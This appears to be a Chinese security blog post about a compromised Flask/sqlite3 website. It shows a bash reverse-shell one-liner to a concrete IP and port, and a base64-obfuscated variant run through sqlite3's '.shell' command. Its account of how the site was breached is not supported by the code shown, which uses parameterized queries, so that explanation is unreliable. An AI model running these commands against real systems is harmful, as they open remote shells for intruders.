最近支持一个项目,自己用Python写了一个网站,仅仅开放了一个80端口,数据库用的 sqlite3,没有做数据安全校验,运行不到1天,发现被黑客拿下了,我的网站主动连接了黑客的IP地址,疑似反弹shell的操作手法,自己试了一下,sqlite3 数据库还真的能反弹shell。
ailx10
2001 次咨询
4.9
网络安全优秀回答者
互联网行业 安全攻防员
去(知乎ailx10)咨询
(1)调研发现sqlite3竟然支持 shell 命令,可以直接命令执行
(2)sqlite3命令执行,反弹shell
bash -i >& /dev/tcp/144.34.162.13/6666 0>&1
base64编码:
.shell echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMzQuMTYyLjEzLzY2NjYgMD4mMQ==" | base64 --decode | bash
(3)反弹shell成功
我写的那串冤大头代码如下,当时没加 log,想不明白怎么被黑客攻陷的:
from flask import Flask, request, jsonify
import sqlite3
import json
import os
app = Flask(__name__)
# 初始化数据库
def init_db():
if not os.path.exists('data.db'):
with sqlite3.connect('data.db') as conn:
cursor = conn.cursor()
cursor.execute('''
CREATE TABLE IF NOT EXISTS requests (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL,
os TEXT NOT NULL,
version TEXT NOT NULL,
architecture TEXT NOT NULL,
hostname TEXT NOT NULL,
processor TEXT NOT NULL,
cpu_cores INTEGER NOT NULL,
logical_cpus INTEGER NOT NULL,
memory TEXT NOT NULL,
disk TEXT NOT NULL,
ip_address TEXT NOT NULL,
mac_address TEXT NOT NULL
)
''')
conn.commit()
# 校验请求数据
def validate_data(data):
required_fields = [
'当前用户名', '操作系统', '系统版本', '系统架构',
'主机名', '处理器', 'CPU核心数', '逻辑CPU数',
'内存信息', '磁盘信息', 'IP地址', 'MAC地址'
]
for field in required_fields:
if field not in data:
return False
return True
@app.route('/api', methods=['POST'])
def receive_data():
data = request.get_json()
# 校验数据
if not validate_data(data):
return jsonify({"error": "请求数据异常"}), 400
# 插入数据到数据库
with sqlite3.connect('data.db') as conn:
cursor = conn.cursor()
cursor.execute('''
INSERT INTO requests (
username, os, version, architecture, hostname,
processor, cpu_cores, logical_cpus, memory, disk,
ip_address, mac_address
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
''', (
data['当前用户名'],
data['操作系统'],
data['系统版本'],
str(data['系统架构']),
data['主机名'],
data['处理器'],
data['CPU核心数'],
data['逻辑CPU数'],
str(data['内存信息']),
str(data['磁盘信息']),
json.dumps(data['IP地址']),
json.dumps(data['MAC地址'])
))
conn.commit()
return jsonify({"message": "数据成功接收"}), 200
if __name__ == '__main__':
init_db() # 初始化数据库
app.run(host='0.0.0.0', port=80)
后续我对代码进行了优化,记录了大量的漏洞扫描IP(傀儡机),主要是Wordpress的扫描探测
网站服务器上检测没有 rootkit[1] ,所有命令输出是准确的,排查了定时任务等,黑客没有后续的恶意行为
参考
发布于 2024-09-24 19:09・江苏